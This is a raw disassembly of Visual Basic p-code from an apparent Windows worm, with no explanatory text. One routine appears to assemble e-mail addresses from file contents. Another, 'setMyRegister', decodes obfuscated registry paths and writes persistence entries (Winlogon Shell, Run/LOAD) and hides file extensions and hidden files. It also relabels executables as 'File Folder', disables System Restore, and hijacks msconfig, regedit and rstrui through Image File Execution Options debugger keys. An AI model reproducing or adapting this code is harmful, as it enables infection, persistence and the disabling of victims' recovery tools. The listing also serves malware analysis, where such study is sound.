00412ec1LitVarI2 65208, 1
00412ec6FLdRfVar var_A4
00412ec9CI4Var
00412ecbILdRf arg_C
00412eceFLdRfVar var_158
00412ed1ImpAdCallFPR4 rtcMidCharVar, 16
00412ed6FLdRfVar var_158
00412ed9FStVar 65292
00412eddFFree1Var var_148
00412ee0ImpAdCallFPR4 rtcDoEvents, 0
00412ee5Branch 0x412e98
00412ee8
00412ee8loc_412ee8:
00412ee8FLdRfVar var_94
00412eebFLdRfVar var_A4
00412eeeSubVar 65208
00412ef2FStVar 65192
00412ef6FLdRfVar var_158
00412ef9LitI4 1
00412efeILdRf arg_C
00412f01FLdRfVar var_168
00412f04ImpAdCallFPR4 rtcMidCharVar, 16
00412f09FLdRfVar var_168
00412f0cFStVar 65340
00412f10FFree1Var var_158
00412f13LitVarI2 65224, 1
00412f18FLdRfVar var_178
00412f1bFLdRfVar var_C4
00412f1eFnLenVar 65208
00412f22ForVar 65128, 376
00412f28ImpAdCallFPR4 rtcDoEvents, 0
00412f2dImpAdCallFPR4 rtcDoEvents, 0
00412f32LitI4 1
00412f37FLdRfVar var_104
00412f3aLitVarI2 65208, 1
00412f3fFLdRfVar var_178
00412f42CI4Var
00412f44FLdRfVar var_C4
00412f47FLdRfVar var_158
00412f4aImpAdCallFPR4 rtcMidCharVar, 16
00412f4fFLdRfVar var_158
00412f52FLdRfVar var_168
00412f55ImpAdCallFPR4 rtcUpperCaseVar, 8
00412f5aFLdRfVar var_168
00412f5dLitI4 1
00412f62FnInStr4Var 65112
00412f66LitVarI2 65224, 0
00412f6bHardType
00412f6cEqVarBool
00412f6eFFreeVar var_148, var_158, var_168, var_1A8
00412f79BranchF 0x412fc3
00412f7cFLdRfVar var_C4
00412f7fFnLenVar 65192
00412f83FLdRfVar var_178
00412f86SubVar 65176
00412f8aLitVarI2 65224, 1
00412f8fAddVar 65112
00412f93FLdRfVar var_178
00412f96LitVarI2 65240, 1
00412f9bAddVar 65208
00412f9fCI4Var
00412fa1FLdRfVar var_C4
00412fa4FLdRfVar var_1B8
00412fa7ImpAdCallFPR4 rtcMidCharVar, 16
00412facFLdRfVar var_1B8
00412fafFStVar 65340
00412fb3FFreeVar var_148, var_1A8
00412fbaLitVarI2 65240, 0
00412fbfFStVar 65160
00412fc3
00412fc3loc_412fc3:
00412fc3FLdRfVar var_178
00412fc6NextStepVar 65128, 212
00412fccFLdRfVar var_C4
00412fcfFnLenVar 65208
00412fd3LitVarI2 65240, 0
00412fd8HardType
00412fd9EqVarBool
00412fdbBranchF 0x412fdf
00412fdeExitProc
00412fdf
00412fdfloc_412fdf:
00412fdfFLdRfVar var_94
00412fe2FStVarCopy 65356
00412fe6LitVarStr var_128, ""
00412febFStVarCopy 65292
00412fef
00412fefloc_412fef:
00412fefFLdRfVar var_B4
00412ff2ILdRfDarg 12, 65240
00412ff8FnLenVar 65208
00412ffcEqVarBool
00412ffeNotI4
00412fffBranchF 0x41303e
00413002FLdRfVar var_B4
00413005LitVarI2 65240, 1
0041300aAddVar 65208
0041300eFStVar 65356
00413012LitVarI2 65208, 1
00413017FLdRfVar var_B4
0041301aCI4Var
0041301cILdRf arg_C
0041301fFLdRfVar var_158
00413022ImpAdCallFPR4 rtcMidCharVar, 16
00413027FLdRfVar var_158
0041302aFStVar 65292
0041302eFFree1Var var_148
00413031ImpAdCallFPR4 rtcDoEvents, 0
00413036ImpAdCallFPR4 rtcDoEvents, 0
0041303bBranch 0x412fef
0041303e
0041303eloc_41303e:
0041303eFLdRfVar var_B4
00413041FLdRfVar var_94
00413044SubVar 65192
00413048FStVar 65176
0041304cFLdRfVar var_168
0041304fFLdRfVar var_94
00413052LitVarI2 65240, 1
00413057AddVar 65208
0041305bCI4Var
0041305dILdRf arg_C
00413060FLdRfVar var_1A8
00413063ImpAdCallFPR4 rtcMidCharVar, 16
00413068FLdRfVar var_1A8
0041306bFStVar 65308
0041306fFFreeVar var_148, var_168
00413076FLdRfVar var_E4
00413079FnLenVar 65208
0041307dFLdRfVar var_178
00413080LitVarI2 65224, 1
00413085LitVarI2 65240, 65535
0041308aForStepVar 65064, 740
00413090ImpAdCallFPR4 rtcDoEvents, 0
00413095ImpAdCallFPR4 rtcDoEvents, 0
0041309aLitI4 1
0041309fFLdRfVar var_104
004130a2LitVarI2 65208, 1
004130a7FLdRfVar var_178
004130aaCI4Var
004130acFLdRfVar var_E4
004130afFLdRfVar var_158
004130b2ImpAdCallFPR4 rtcMidCharVar, 16
004130b7FLdRfVar var_158
004130baFLdRfVar var_168
004130bdImpAdCallFPR4 rtcUpperCaseVar, 8
004130c2FLdRfVar var_168
004130c5LitI4 1
004130caFnInStr4Var 65112
004130ceLitVarI2 65224, 0
004130d3HardType
004130d4EqVarBool
004130d6FFreeVar var_148, var_158, var_168, var_1A8
004130e1BranchF 0x413125
004130e4FLdRfVar var_178
004130e7LitVarI2 65240, 1
004130ecSubVar 65208
004130f0FStVar 65192
004130f4FLdRfVar var_158
004130f7LitI4 1
004130fcFLdRfVar var_E4
004130ffFLdRfVar var_168
00413102ImpAdCallFPR4 rtcMidCharVar, 16
00413107FLdRfVar var_168
0041310aFStVar 65308
0041310eFFree1Var var_158
00413111FLdRfVar var_E4
00413114FnLenVar 65208
00413118LitVarI2 65240, 1
0041311dAddVar 65192
00413121FStVar 65160
00413125
00413125loc_413125:
00413125ImpAdCallFPR4 rtcDoEvents, 0
0041312aImpAdCallFPR4 rtcDoEvents, 0
0041312fFLdRfVar var_178
00413132NextStepVar 65064, 572
00413138LitI4 1
0041313dFLdRfVar var_E4
00413140FLdRfVar var_148
00413143ImpAdCallFPR4 rtcRightCharVar, 12
00413148FLdRfVar var_148
0041314bLitVarStr var_128, "."
00413150HardType
00413151EqVarBool
00413153FFree1Var var_148
00413156BranchF 0x41317d
00413159FLdRfVar var_E4
0041315cFnLenVar 65208
00413160LitVarI2 65240, 1
00413165SubVar 65192
00413169CI4Var
0041316bFLdRfVar var_E4
0041316eFLdRfVar var_168
00413171ImpAdCallFPR4 rtcLeftCharVar, 12
00413176FLdRfVar var_168
00413179FStVar 65308
0041317d
0041317dloc_41317d:
0041317dLitI4 1
00413182FLdRfVar var_E4
00413185LitVarStr var_128, "."
0041318aLitI4 0
0041318fFnInStr4Var 65208
00413193LitVarI2 65224, 0
00413198HardType
00413199EqVarBool
0041319bFFree1Var var_148
0041319eBranchF 0x4131a2
004131a1ExitProc
004131a2
004131a2loc_4131a2:
004131a2LitI4 1
004131a7FLdRfVar var_E4
004131aaCStrVarVal 65060
004131aeImpAdCallI2 rtcStrReverse, 4
004131b3FStStrNoPop var_1E0
004131b6LitStr "."
004131b9LitI4 0
004131beFnInStr4
004131c0LitI4 3
004131c5GtI4
004131c6FFreeStr var_1DC, var_1E0
004131cdBranchF 0x41320a
004131d0LitI4 1
004131d5FLdRfVar var_E4
004131d8LitVarStr var_128, "."
004131ddLitI4 0
004131e2FnInStr4Var 65208
004131e6LitVarI2 65224, 3
004131ebAddVar 65192
004131efCI4Var
004131f1FLdRfVar var_E4
004131f4FLdRfVar var_168
004131f7ImpAdCallFPR4 rtcLeftCharVar, 12
004131fcFLdRfVar var_168
004131ffFStVar 65308
00413203FFreeVar var_148, var_158
0041320a
0041320aloc_41320a:
0041320aLitI4 1
0041320fFLdRfVar var_104
00413212LitI4 1
00413217FLdRfVar var_E4
0041321aFLdRfVar var_148
0041321dImpAdCallFPR4 rtcRightCharVar, 12
00413222FLdRfVar var_148
00413225LitI4 0
0041322aFnInStr4Var 65192
0041322eLitVarI2 65240, 0
00413233HardType
00413234NeVarBool
00413236FFreeVar var_148, var_158
0041323dBranchF 0x4132ac
00413240LitI4 1
00413245FLdRfVar var_104
00413248LitVar_Missing var_168
0041324bFLdRfVar var_E4
0041324eFnLenVar 65208
00413252LitVarI2 65240, 1
00413257SubVar 65192
0041325bCI4Var
0041325dFLdRfVar var_E4
00413260FLdRfVar var_1A8
00413263ImpAdCallFPR4 rtcMidCharVar, 16
00413268FLdRfVar var_1A8
0041326bLitI4 0
00413270FnInStr4Var 65096
00413274LitVarI2 65040, 0
00413279HardType
0041327aEqVarBool
0041327cFFreeVar var_168, var_1A8, var_1B8
00413285BranchF 0x4132ac
00413288FLdRfVar var_E4
0041328bFnLenVar 65208
0041328fLitVarI2 65240, 1
00413294SubVar 65192
00413298CI4Var
0041329aFLdRfVar var_E4
0041329dFLdRfVar var_168
004132a0ImpAdCallFPR4 rtcLeftCharVar, 12
004132a5FLdRfVar var_168
004132a8FStVar 65308
004132ac
004132acloc_4132ac:
004132acLitI4 2
004132b1FLdRfVar var_E4
004132b4FLdRfVar var_148
004132b7ImpAdCallFPR4 rtcRightCharVar, 12
004132bcFLdRfVar var_148
004132bfFLdRfVar var_158
004132c2ImpAdCallFPR4 rtcUpperCaseVar, 8
004132c7FLdRfVar var_158
004132caLitVarStr var_128, "CO"
004132cfHardType
004132d0EqVarBool
004132d2FFreeVar var_148, var_158
004132d9BranchF 0x4132ec
004132dcFLdRfVar var_E4
004132dfLitVarStr var_128, "m"
004132e4ConcatVar var_148
004132e8FStVar 65308
004132ec
004132ecloc_4132ec:
004132ecLitI4 2
004132f1FLdRfVar var_E4
004132f4FLdRfVar var_148
004132f7ImpAdCallFPR4 rtcRightCharVar, 12
004132fcFLdRfVar var_148
004132ffFLdRfVar var_158
00413302ImpAdCallFPR4 rtcUpperCaseVar, 8
00413307FLdRfVar var_158
0041330aLitVarStr var_128, ".B"
0041330fHardType
00413310EqVarBool
00413312FFreeVar var_148, var_158
00413319BranchF 0x41332c
0041331cFLdRfVar var_E4
0041331fLitVarStr var_128, "r"
00413324ConcatVar var_148
00413328FStVar 65308
0041332c
0041332cloc_41332c:
0041332cFLdRfVar var_E4
0041332fFnLenVar 65208
00413333LitVarI2 65240, 0
00413338HardType
00413339EqVarBool
0041333bBranchF 0x41333f
0041333eExitProc
0041333f
0041333floc_41333f:
0041333fLitI4 1
00413344ILdRf var_118
00413347CVarStr var_138
0041334aFLdRfVar var_C4
0041334dLitVarStr var_128, "@"
00413352ConcatVar var_148
00413356FLdRfVar var_E4
00413359ConcatVar var_158
0041335dFLdRfVar var_168
00413360ImpAdCallFPR4 rtcLowerCaseVar, 8
00413365FLdRfVar var_168
00413368LitI4 0
0041336dFnInStr4Var 65112
00413371LitVarI2 65040, 0
00413376HardType
00413377EqVarBool
00413379FFreeVar var_148, var_158, var_168, var_1A8
00413384BranchF 0x413482
00413387ILdRf var_118
0041338aCVarStr var_138
0041338dFLdRfVar var_C4
00413390LitVarStr var_128, "@"
00413395ConcatVar var_148
00413399FLdRfVar var_E4
0041339cConcatVar var_158
004133a0FLdRfVar var_168
004133a3ImpAdCallFPR4 rtcLowerCaseVar, 8
004133a8FLdRfVar var_168
004133abConcatVar var_1A8
004133afCStrVarTmp
004133b0FStStr var_118
004133b3FFreeVar var_148, var_158, var_168, var_1A8
004133beILdRf var_118
004133c1FnLenStr
004133c2LitI4 6
004133c7GtI4
004133c8BranchF 0x41347e
004133cbILdRf var_118
004133ceFStStrCopy var_1DC
004133d1FLdRfVar var_1DC
004133d4FLdRfVar var_148
004133d7ImpAdCallFPR4 pool#36, 8
004133dcFFree1Str var_1DC
004133dfFFree1Var var_148
004133e2ILdRf var_118
004133e5FStStrCopy var_1DC
004133e8FLdRfVar var_1DC
004133ebImpAdCallFPR4 pool#37, 4
004133f0FFree1Str var_1DC
004133f3ImpAdLdI2 pool#38
004133f6LitI2_Byte -1
004133f8EqI2
004133f9CVarBoolI2 65224
004133fdImpAdLdRf pool#39
00413400LitVar_TRUE 65240
00413403HardType
00413404EqVar 65208
00413408OrVar 65192
0041340cCBoolVarNull
0041340eFFree1Var var_138
00413411BranchF 0x413424
00413414LitI2_Byte 0
00413416ImpAdStI2 pool#38
00413419LitVar_FALSE 65240
0041341dImpAdStVar pool#39
00413421Branch 0x41347b
00413424
00413424loc_413424:
00413424LitVar_FALSE 65240
00413428ImpAdStVar pool#39
0041342cLitI2_Byte 0
0041342eImpAdStI2 pool#38
00413431FMemLdRf arg_8, 28
00413436CVarRef 65240, 16392
0041343bFLdRfVar var_148
0041343eImpAdCallFPR4 rtcUpperCaseVar, 8
00413443FLdRfVar var_148
00413446FLdRfVar var_118
00413449CVarRef 65224, 16392
0041344eFLdRfVar var_158
00413451ImpAdCallFPR4 rtcUpperCaseVar, 8
00413456FLdRfVar var_158
00413459NeVarBool
0041345bFFreeVar var_148, var_158
00413462BranchF 0x41347b
00413465ILdRf var_118
00413468FMemStStrCopy arg_8, 28
0041346dFLdRfVar var_118
00413470FLdRfVar var_148
00413473ImpAdCallFPR4 pool#50, 8
00413478FFree1Var var_148
0041347b
0041347bloc_41347b:
0041347bBranch 0x41347e
0041347e
0041347eloc_41347e:
0041347eLitI2_Byte 1
00413480Close
00413482
00413482loc_413482:
00413482ExitProc
00412e54

00413483
00413483 struct PCodePad
00413483 00 .
00413484
00413484 struct ProcDscInfo
00413484 lpObjectInfo uint32 0x4041b8
00413488 wArgSize int 8
0041348a wFrameSize int 384
0041348c wPCodeBackOffset uint16 0x412e54
0041348e wTotalSize uint16 0x0064
00413490 wProcOptFlags uint16 0x0000
00413492 wReserved uint16 0x0000
00413494 wBosSkipTableOff uint16 0x0000
00413496 wBaseIfaceSlot uint16 0x0013
00413498 wReserved2 uint16 0x0000
0041349a wReserved3 uint16 0x0000
0041349c
0041349c 4c 00 00 00 L...
004134a0 00 00 10 00 00 00 00 00 78 fe 02 00 68 fe 02 00 ........x...h...
004134b0 38 fe 02 00 28 fe 02 00 88 fe 02 00 6c ff 02 00 8...(.......l...
004134c0 4c ff 02 00 e8 fe 01 00 ec fe 02 00 0c ff 02 00 L...............
004134d0 5c ff 02 00 3c ff 02 00 fc fd 01 00 1c ff 02 00 \...<...........
004134e0 2c ff 02 00 fc fe 02 00 2c 00 00 00 00 00 08 00 ,.......,.......
004134f0 00 00 00 00 24 fe 01 00 20 fe 01 00 b8 fe 02 00 ....$... .......
00413500 a8 fe 02 00 98 fe 02 00 58 fe 02 00 48 fe 02 00 ........X...H...
00413510 00 fe 02 00 ....

00413514
00413514FrmMain.setMyRegister:
00413514LargeBos 2
00413516LargeBos 5
00413518OnErrorGoto 65535
0041351bLargeBos 24
0041351dLitVarStr var_A4, "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg"
00413522FStVarCopyObj var_B4
00413525FLdRfVar var_B4
00413528ImpAdCallI2 pool#40, 4
0041352dFStStr var_88
00413530FFree1Var var_B4
00413533LargeBos 73
00413535LitVarStr var_A4, "ULqyef{l{UJhk`gl}Z}h}l"
0041353aFStVarCopyObj var_B4
0041353dFLdRfVar var_B4
00413540ImpAdCallI2 pool#40, 4
00413545FStStr var_E4
00413548LitI2_Byte -1
0041354aPopTmpLdAd2 65314
0041354dLitVarI2 65316, 1
00413552LitStr "FullPath"
00413555ILdRf var_88
00413558FLdZeroAd var_E4
0041355bFStStrNoPop var_B8
0041355eConcatStr
0041355fFStStrNoPop var_BC
00413562LitI4 0xffffffff80000001
00413567ImpAdCallFPR4 pool#78, 20
0041356cFFreeStr var_B8, var_BC, var_E4
00413575FFreeVar var_B4, var_DC
0041357cLargeBos 219
0041357eLitVarStr var_A4, "U[\\G"
00413583FStVarCopyObj var_B4
00413586FLdRfVar var_B4
00413589ImpAdCallI2 pool#40, 4
0041358eFStStr var_194
00413591LitVarI2 65316, 2
00413596LitI4 2
0041359bLitI4 1
004135a0ImpAdLdRf pool#53
004135a3Ary1LdRf
004135a4CVarRef 65332, 16392
004135a9FLdRfVar var_104
004135acImpAdCallFPR4 rtcMidCharVar, 16
004135b1LitI4 4
004135b6LitI4 5
004135bbImpAdLdRf pool#53
004135beAry1LdRf
004135bfCVarRef 65228, 16392
004135c4FLdRfVar var_144
004135c7ImpAdCallFPR4 rtcRightCharVar, 12
004135ccLitI2_Byte 0
004135cePopTmpLdAd2 65314
004135d1ImpAdLdI4 pool#14
004135d4LitStr "\\"
004135d7ConcatStr
004135d8FStStrNoPop var_BC
004135dbLitI4 4
004135e0ImpAdLdRf pool#53
004135e3Ary1LdI4
004135e4ConcatStr
004135e5FStStrNoPop var_E4
004135e8LitI4 6
004135edImpAdLdRf pool#53
004135f0Ary1LdI4
004135f1ConcatStr
004135f2FStStrNoPop var_178
004135f5LitStr ".exe"
004135f8ConcatStr
004135f9CVarStr var_190
004135fcLitVarStr var_114, "s"
00413601FLdRfVar var_104
00413604ConcatVar var_124
00413608FLdRfVar var_144
0041360bConcatVar var_154
0041360fLitVarStr var_164, "0"
00413614ConcatVar var_174
00413618CStrVarVal 65152
0041361cILdRf var_88
0041361fFLdZeroAd var_194
00413622FStStrNoPop var_B8
00413625ConcatStr
00413626FStStrNoPop var_17C
00413629LitI4 0xffffffff80000001
0041362eImpAdCallFPR4 pool#78, 20
00413633FFreeStr var_B8, var_BC, var_E4, var_178, var_17C, var_180, var_194
00413644FFreeVar var_B4, var_DC, var_104, var_124, var_144, var_154, var_174, var_190
00413657LargeBos 200
00413659LitVarStr var_A4, "U[\\G"
0041365eFStVarCopyObj var_B4
00413661FLdRfVar var_B4
00413664ImpAdCallI2 pool#40, 4
00413669FStStr var_178
0041366cLitI4 3
00413671LitI4 2
00413676ImpAdLdRf pool#53
00413679Ary1LdRf
0041367aCVarRef 65332, 16392
0041367fFLdRfVar var_DC
00413682ImpAdCallFPR4 rtcRightCharVar, 12
00413687LitVarI2 65244, 2
0041368cLitI4 2
00413691LitI4 6
00413696ImpAdLdRf pool#53
00413699Ary1LdRf
0041369aCVarRef 65260, 16392
0041369fFLdRfVar var_144
004136a2ImpAdCallFPR4 rtcMidCharVar, 16
004136a7LitI2_Byte 0
004136a9PopTmpLdAd2 65314
004136acImpAdLdRf pool#12
004136afLitVarStr var_164, "\\"
004136b4ConcatVar var_174
004136b8LitI4 5
004136bdImpAdLdRf pool#53
004136c0Ary1LdI4
004136c1CVarStr var_1A4
004136c4ConcatVar var_190
004136c8LitVarStr var_1B4, ".exe"
004136cdConcatVar var_1C4
004136d1LitVarStr var_F4, "0"
004136d6FLdRfVar var_DC
004136d9ConcatVar var_104
004136ddFLdRfVar var_144
004136e0ConcatVar var_154
004136e4CStrVarVal 65308
004136e8ILdRf var_88
004136ebFLdZeroAd var_178
004136eeFStStrNoPop var_B8
004136f1ConcatStr
004136f2FStStrNoPop var_BC
004136f5LitI4 0xffffffff80000002
004136faImpAdCallFPR4 pool#78, 20
004136ffFFreeStr var_B8, var_BC, var_E4, var_178
0041370aFFreeVar var_B4, var_DC, var_124, var_104, var_144, var_174, var_190, var_154, var_1C4
0041371fLargeBos 159
00413721LitVarStr var_A4, "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg"
00413726FStVarCopyObj var_B4
00413729FLdRfVar var_B4
0041372cImpAdCallI2 pool#40, 4
00413731FStStr var_BC
00413734LitI4 34
00413739FLdRfVar var_DC
0041373cImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00413741LitI4 34
00413746FLdRfVar var_190
00413749ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0041374eLitI2_Byte 0
00413750PopTmpLdAd2 65314
00413753LitVarStr var_CC, "explorer.exe, "
00413758FLdRfVar var_DC
0041375bConcatVar var_104
0041375fImpAdLdRf pool#56
00413762ConcatVar var_124
00413766LitVarStr var_F4, "\\"
0041376bConcatVar var_144
0041376fLitI4 2
00413774ImpAdLdRf pool#53
00413777Ary1LdI4
00413778CVarStr var_114
0041377bConcatVar var_154
0041377fLitVarStr var_134, ".exe"
00413784ConcatVar var_174
00413788FLdRfVar var_190
0041378bConcatVar var_1C4
0041378fLitStr "Shell"
00413792FLdZeroAd var_BC
00413795FStStrNoPop var_B8
00413798LitI4 0xffffffff80000002
0041379dImpAdCallFPR4 pool#78, 20
004137a2FFreeStr var_B8, var_BC
004137a9FFreeVar var_B4, var_DC, var_104, var_124, var_144, var_154, var_174, var_190, var_1C4
004137beLargeBos 148
004137c0LitVarStr var_A4, "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z"
004137c5FStVarCopyObj var_B4
004137c8FLdRfVar var_B4
004137cbImpAdCallI2 pool#40, 4
004137d0FStStr var_BC
004137d3LitI4 34
004137d8FLdRfVar var_DC
004137dbImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004137e0LitI4 34
004137e5FLdRfVar var_174
004137e8ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004137edLitI2_Byte 0
004137efPopTmpLdAd2 65314
004137f2FLdRfVar var_DC
004137f5ImpAdLdRf pool#56
004137f8ConcatVar var_104
004137fcLitVarStr var_CC, "\\"
00413801ConcatVar var_124
00413805LitI4 7
0041380aImpAdLdRf pool#53
0041380dAry1LdI4
0041380eCVarStr var_F4
00413811ConcatVar var_144
00413815LitVarStr var_114, ".com"
0041381aConcatVar var_154
0041381eFLdRfVar var_174
00413821ConcatVar var_190
00413825LitStr "LOAD"
00413828FLdZeroAd var_BC
0041382bFStStrNoPop var_B8
0041382eLitI4 0xffffffff80000001
00413833ImpAdCallFPR4 pool#78, 20
00413838FFreeStr var_B8, var_BC
0041383fFFreeVar var_B4, var_DC, var_104, var_124, var_144, var_154, var_174, var_190
00413852LargeBos 41
00413854LitI2_Byte -1
00413856PopTmpLdAd2 65314
00413859LitVarI2 65356, 1
0041385eLitStr "HideFileExt"
00413861ILdRf var_88
00413864LitStr "\\Explorer\\Advanced"
00413867ConcatStr
00413868FStStrNoPop var_B8
0041386bLitI4 0xffffffff80000001
00413870ImpAdCallFPR4 pool#78, 20
00413875FFree1Str var_B8
00413878FFree1Var var_B4
0041387bLargeBos 41
0041387dLitI2_Byte -1
0041387fPopTmpLdAd2 65314
00413882LitVarI2 65356, 0
00413887LitStr "Hidden"
0041388aILdRf var_88
0041388dLitStr "\\Explorer\\Advanced"
00413890ConcatStr
00413891FStStrNoPop var_B8
00413894LitI4 0xffffffff80000001
00413899ImpAdCallFPR4 pool#78, 20
0041389eFFree1Str var_B8
004138a1FFree1Var var_B4
004138a4LargeBos 41
004138a6LitI2_Byte -1
004138a8PopTmpLdAd2 65314
004138abLitVarI2 65356, 0
004138b0LitStr "ShowSuperHidden"
004138b3ILdRf var_88
004138b6LitStr "\\Explorer\\Advanced"
004138b9ConcatStr
004138baFStStrNoPop var_B8
004138bdLitI4 0xffffffff80000001
004138c2ImpAdCallFPR4 pool#78, 20
004138c7FFree1Str var_B8
004138caFFree1Var var_B4
004138cdLargeBos 37
004138cfLitI2_Byte 0
004138d1PopTmpLdAd2 65314
004138d4LitVarStr var_A4, "File Folder"
004138d9FStVarCopyObj var_B4
004138dcFLdRfVar var_B4
004138dfLitStr ""
004138e2LitStr "scrfile"
004138e5LitI4 0xffffffff80000000
004138eaImpAdCallFPR4 pool#78, 20
004138efFFree1Var var_B4
004138f2LargeBos 37
004138f4LitI2_Byte 0
004138f6PopTmpLdAd2 65314
004138f9LitVarStr var_A4, "File Folder"
004138feFStVarCopyObj var_B4
00413901FLdRfVar var_B4
00413904LitStr ""
00413907LitStr "exefile"
0041390aLitI4 0xffffffff80000000
0041390fImpAdCallFPR4 pool#78, 20
00413914FFree1Var var_B4
00413917LargeBos 37
00413919LitI2_Byte 0
0041391bPopTmpLdAd2 65314
0041391eLitVarStr var_A4, "File Folder"
00413923FStVarCopyObj var_B4
00413926FLdRfVar var_B4
00413929LitStr ""
0041392cLitStr "SOFTWARE\\Classes\\exefile"
0041392fLitI4 0xffffffff80000002
00413934ImpAdCallFPR4 pool#78, 20
00413939FFree1Var var_B4
0041393cLargeBos 64
0041393eLitVarStr var_A4, "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz"
00413943FStVarCopyObj var_B4
00413946FLdRfVar var_B4
00413949ImpAdCallI2 pool#40, 4
0041394eFStStr var_BC
00413951LitI2_Byte -1
00413953PopTmpLdAd2 65314
00413956LitVarI2 65316, 0
0041395bLitStr "Start"
0041395eFLdZeroAd var_BC
00413961FStStrNoPop var_B8
00413964LitI4 0xffffffff80000002
00413969ImpAdCallFPR4 pool#78, 20
0041396eFFreeStr var_B8, var_BC
00413975FFreeVar var_B4, var_DC
0041397cLargeBos 101
0041397eLitVarStr var_A4, "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg"
00413983FStVarCopyObj var_B4
00413986FLdRfVar var_B4
00413989ImpAdCallI2 pool#40, 4
0041398eFStStr var_178
00413991LitVarStr var_CC, "\\gjaljblm_he|l"
00413996FStVarCopyObj var_DC
00413999FLdRfVar var_DC
0041399cImpAdCallI2 pool#40, 4
004139a1FStStr var_17C
004139a4LitI2_Byte -1
004139a6PopTmpLdAd2 65314
004139a9LitVarI2 65276, 0
004139aeFLdZeroAd var_17C
004139b1FStStrNoPop var_E4
004139b4ILdRf var_88
004139b7FLdZeroAd var_178
004139baFStStrNoPop var_B8
004139bdConcatStr
004139beFStStrNoPop var_BC
004139c1LitI4 0xffffffff80000002
004139c6ImpAdCallFPR4 pool#78, 20
004139cbFFreeStr var_B8, var_BC, var_E4, var_178, var_17C
004139d8FFreeVar var_B4, var_DC, var_104
004139e1LargeBos 24
004139e3LitVarStr var_A4, "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l"
004139e8FStVarCopyObj var_B4
004139ebFLdRfVar var_B4
004139eeImpAdCallI2 pool#40, 4
004139f3FStStr var_94
004139f6FFree1Var var_B4
004139f9LargeBos 31
004139fbLitI2_Byte -1
004139fdPopTmpLdAd2 65314
00413a00LitVarI2 65356, 1
00413a05LitStr "DisableConfig"
00413a08ILdRf var_94
00413a0bLitI4 0xffffffff80000002
00413a10ImpAdCallFPR4 pool#78, 20
00413a15FFree1Var var_B4
00413a18LargeBos 31
00413a1aLitI2_Byte -1
00413a1cPopTmpLdAd2 65314
00413a1fLitVarI2 65356, 1
00413a24LitStr "DisableSR"
00413a27ILdRf var_94
00413a2aLitI4 0xffffffff80000002
00413a2fImpAdCallFPR4 pool#78, 20
00413a34FFree1Var var_B4
00413a37LargeBos 118
00413a39LitVarStr var_A4, "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}"
00413a3eFStVarCopyObj var_B4
00413a41FLdRfVar var_B4
00413a44ImpAdCallI2 pool#40, 4
00413a49FStStr var_178
00413a4cLitVarStr var_CC, "He}l{gh}lZalee"
00413a51FStVarCopyObj var_DC
00413a54FLdRfVar var_DC
00413a57ImpAdCallI2 pool#40, 4
00413a5cFStStr var_17C
00413a5fLitI2_Byte 0
00413a61PopTmpLdAd2 65314
00413a64LitI4 4
00413a69ImpAdLdRf pool#53
00413a6cAry1LdI4
00413a6dLitI4 6
00413a72ImpAdLdRf pool#53
00413a75Ary1LdI4
00413a76ConcatStr
00413a77FStStrNoPop var_B8
00413a7aLitStr "l.exe"
00413a7dConcatStr
00413a7eCVarStr var_104
00413a81FLdZeroAd var_17C
00413a84FStStrNoPop var_E4
00413a87FLdZeroAd var_178
00413a8aFStStrNoPop var_BC
00413a8dLitI4 0xffffffff80000002
00413a92ImpAdCallFPR4 pool#78, 20
00413a97FFreeStr var_B8, var_BC, var_E4, var_178, var_17C
00413aa4FFreeVar var_B4, var_DC, var_104
00413aadLargeBos 8
00413aafLitStr "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
00413ab2FStStrCopy var_90
00413ab5LargeBos 48
00413ab7LitI2_Byte 0
00413ab9PopTmpLdAd2 65314
00413abcImpAdLdRf pool#12
00413abfLitVarStr var_A4, "\\notepad.exe"
00413ac4ConcatVar var_B4
00413ac8LitStr "debugger"
00413acbILdRf var_90
00413aceLitStr "msconfig.exe"
00413ad1ConcatStr
00413ad2FStStrNoPop var_B8
00413ad5LitI4 0xffffffff80000002
00413adaImpAdCallFPR4 pool#78, 20
00413adfFFree1Str var_B8
00413ae2FFree1Var var_B4
00413ae5LargeBos 78
00413ae7LitVarStr var_A4, "U{lnlm`}'jdm"
00413aecFStVarCopyObj var_B4
00413aefFLdRfVar var_B4
00413af2ImpAdCallI2 pool#40, 4
00413af7FStStr var_BC
00413afaLitI2_Byte 0
00413afcPopTmpLdAd2 65314
00413affImpAdLdRf pool#56
00413b02FLdZeroAd var_BC
00413b05CVarStr var_DC
00413b08ConcatVar var_104
00413b0cLitStr "debugger"
00413b0fILdRf var_90
00413b12LitStr "regedit.exe"
00413b15ConcatStr
00413b16FStStrNoPop var_B8
00413b19LitI4 0xffffffff80000002
00413b1eImpAdCallFPR4 pool#78, 20
00413b23FFreeStr var_B8, var_BC
00413b2aFFreeVar var_B4, var_DC, var_104
00413b33LargeBos 48
00413b35LitI2_Byte 0
00413b37PopTmpLdAd2 65314
00413b3aImpAdLdRf pool#12
00413b3dLitVarStr var_A4, "\\notepad.exe"
00413b42ConcatVar var_B4
00413b46LitStr "debugger"
00413b49ILdRf var_90
00413b4cLitStr "rstrui.exe"
00413b4fConcatStr
00413b50FStStrNoPop var_B8
00413b53LitI4 0xffffffff80000002
00413b58ImpAdCallFPR4 pool#78, 20
00413b5dFFree1Str var_B8
00413b60FFree1Var var_B4
00413b63LargeBos 0
00413b65ExitProcHresult
00413514

00413b66
00413b66 struct PCodePad
00413b66 00 00 ..
00413b68
00413b68 struct ProcDscInfo
00413b68 lpObjectInfo uint32 0x405168
00413b6c wArgSize int 4
00413b6e wFrameSize int 320
00413b70 wPCodeBackOffset uint16 0x413514
00413b72 wTotalSize uint16 0x0034
00413b74 wProcOptFlags uint16 0x0000
00413b76 wReserved uint16 0x0000
00413b78 wBosSkipTableOff uint16 0x0000
